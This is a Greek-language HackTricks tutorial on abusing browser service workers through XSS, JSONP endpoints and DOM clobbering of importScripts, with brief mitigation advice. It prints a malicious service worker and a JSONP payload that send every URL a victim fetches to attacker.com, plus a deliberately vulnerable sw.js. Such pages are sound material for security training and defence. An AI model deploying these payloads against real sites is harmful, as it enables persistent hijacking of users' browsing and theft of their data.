# Κατάχρηση Υπηρεσιών Εργασίας {{#include ../../banners/hacktricks-training.md}} ## Βασικές Πληροφορίες Ένας **υπηρεσία εργασία** είναι ένα σενάριο που εκτελείται από τον περιηγητή σας στο παρασκήνιο, ξεχωριστά από οποιαδήποτε ιστοσελίδα, επιτρέποντας δυνατότητες που δεν απαιτούν μια ιστοσελίδα ή αλληλεπίδραση χρήστη, ενισχύοντας έτσι τις δυνατότητες **εκτός σύνδεσης και επεξεργασίας στο παρασκήνιο**. Λεπτομερείς πληροφορίες σχετικά με τις υπηρεσίες εργασίας μπορείτε να βρείτε [εδώ](https://developers.google.com/web/fundamentals/primers/service-workers). Εκμεταλλευόμενοι τις υπηρεσίες εργασίας μέσα σε έναν ευάλωτο διαδικτυακό τομέα, οι επιτιθέμενοι μπορούν να αποκτήσουν έλεγχο πάνω στις αλληλεπιδράσεις του θύματος με όλες τις σελίδες εντός αυτού του τομέα. ### Έλεγχος Υπαρχουσών Υπηρεσιών Εργασίας Οι υπάρχουσες υπηρεσίες εργασίας μπορούν να ελεγχθούν στην ενότητα **Υπηρεσίες Εργασίας** της καρτέλας **Εφαρμογή** στα **Εργαλεία Ανάπτυξης**. Μια άλλη μέθοδος είναι η επίσκεψη στο [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) για μια πιο λεπτομερή προβολή. ### Ειδοποιήσεις Push Οι **άδειες ειδοποιήσεων push** επηρεάζουν άμεσα την ικανότητα ενός **υπηρεσία εργασία** να επικοινωνεί με τον διακομιστή χωρίς άμεση αλληλεπίδραση χρήστη. Εάν οι άδειες απορριφθούν, περιορίζει τη δυνατότητα της υπηρεσίας εργασίας να θέσει μια συνεχόμενη απειλή. Αντίθετα, η χορήγηση αδειών αυξάνει τους κινδύνους ασφαλείας επιτρέποντας την παραλαβή και εκτέλεση πιθανών εκμεταλλεύσεων. ## Επίθεση Δημιουργίας Υπηρεσίας Εργασίας Για να εκμεταλλευτείτε αυτήν την ευπάθεια, πρέπει να βρείτε: - Έναν τρόπο να **ανεβάσετε αυθαίρετα αρχεία JS** στον διακομιστή και μια **XSS για να φορτώσετε την υπηρεσία εργασία** του ανεβασμένου αρχείου JS - Ένα **ευάλωτο αίτημα JSONP** όπου μπορείτε να **χειριστείτε την έξοδο (με αυθαίρετο κώδικα JS)** και μια **XSS** για να **φορτώσετε το JSONP με ένα payload** που θα **φορτώσει μια κακόβουλη υπηρεσία εργασία**. Στο παρακάτω παράδειγμα, θα παρουσιάσω έναν κώδικα για να **καταχωρήσετε μια νέα υπηρεσία εργασία** που θα ακούει το γεγονός `fetch` και θα **στέλνει στον διακομιστή των επιτιθέμενων κάθε URL που ανακτάται** (αυτός είναι ο κώδικας που θα χρειαστεί να **ανεβάσετε** στον **διακομιστή** ή να φορτώσετε μέσω μιας **ευάλωτης JSONP** απάντησης): ```javascript self.addEventListener('fetch', function(e) { e.respondWith(caches.match(e.request).then(function(response) { fetch('https://attacker.com/fetch_url/' + e.request.url) }); ``` Και αυτός είναι ο κώδικας που θα **καταχωρήσει τον εργαζόμενο** (ο κώδικας που θα πρέπει να είστε σε θέση να εκτελέσετε εκμεταλλευόμενοι μια **XSS**). Σε αυτή την περίπτωση, θα σταλεί ένα **GET** αίτημα στον διακομιστή των **επιτιθέμενων** **γνωστοποιώντας** αν η **καταχώρηση** του εργαζομένου υπηρεσίας ήταν επιτυχής ή όχι: ```javascript ``` Σε περίπτωση κατάχρησης ενός ευάλωτου JSONP endpoint, θα πρέπει να βάλετε την τιμή μέσα στο `var sw`. Για παράδειγμα: ```javascript var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//" ``` Υπάρχει ένα **C2** αφιερωμένο στην **εκμετάλλευση των Service Workers** που ονομάζεται [**Shadow Workers**](https://shadow-workers.github.io) το οποίο θα είναι πολύ χρήσιμο για την εκμετάλλευση αυτών των ευπαθειών. Η **κατεύθυνση cache 24 ωρών** περιορίζει τη διάρκεια ζωής ενός κακόβουλου ή συμβιβασμένου **service worker (SW)** σε το πολύ 24 ώρες μετά την επιδιόρθωση μιας ευπάθειας XSS, υποθέτοντας ότι η κατάσταση του πελάτη είναι online. Για να ελαχιστοποιήσουν την ευπάθεια, οι διαχειριστές ιστότοπων μπορούν να μειώσουν τον Χρόνο Ζωής (TTL) του script SW. Οι προγραμματιστές συνιστάται επίσης να δημιουργήσουν ένα [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) για γρήγορη απενεργοποίηση. ## Εκμετάλλευση του `importScripts` σε ένα SW μέσω DOM Clobbering Η συνάρτηση **`importScripts`** που καλείται από έναν Service Worker μπορεί να **εισάγει ένα script από διαφορετικό τομέα**. Εάν αυτή η συνάρτηση κληθεί χρησιμοποιώντας μια **παράμετρο που θα μπορούσε να** τροποποιήσει ένας επιτιθέμενος, θα μπορούσε να **εισάγει ένα JS script από τον τομέα του** και να αποκτήσει XSS. **Αυτό παρακάμπτει ακόμη και τις προστασίες CSP.** **Παράδειγμα ευάλωτου κώδικα:** - **index.html** ```html ``` - **sw.js** ```javascript const searchParams = new URLSearchParams(location.search) let host = searchParams.get("host") self.importScripts(host + "/sw_extra.js") //host can be controllable by an attacker ``` ### Με DOM Clobbering Για περισσότερες πληροφορίες σχετικά με το τι είναι το DOM Clobbering, ελέγξτε: {{#ref}} dom-clobbering.md {{#endref}} Εάν το URL/domain που χρησιμοποιεί το SW για να καλέσει **`importScripts`** είναι **μέσα σε ένα HTML στοιχείο**, είναι **δυνατό να το τροποποιήσετε μέσω του DOM Clobbering** για να κάνετε το SW **να φορτώσει ένα σενάριο από το δικό σας domain**. Για ένα παράδειγμα αυτού, ελέγξτε τον σύνδεσμο αναφοράς. ## Αναφορές - [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering) {{#include ../../banners/hacktricks-training.md}}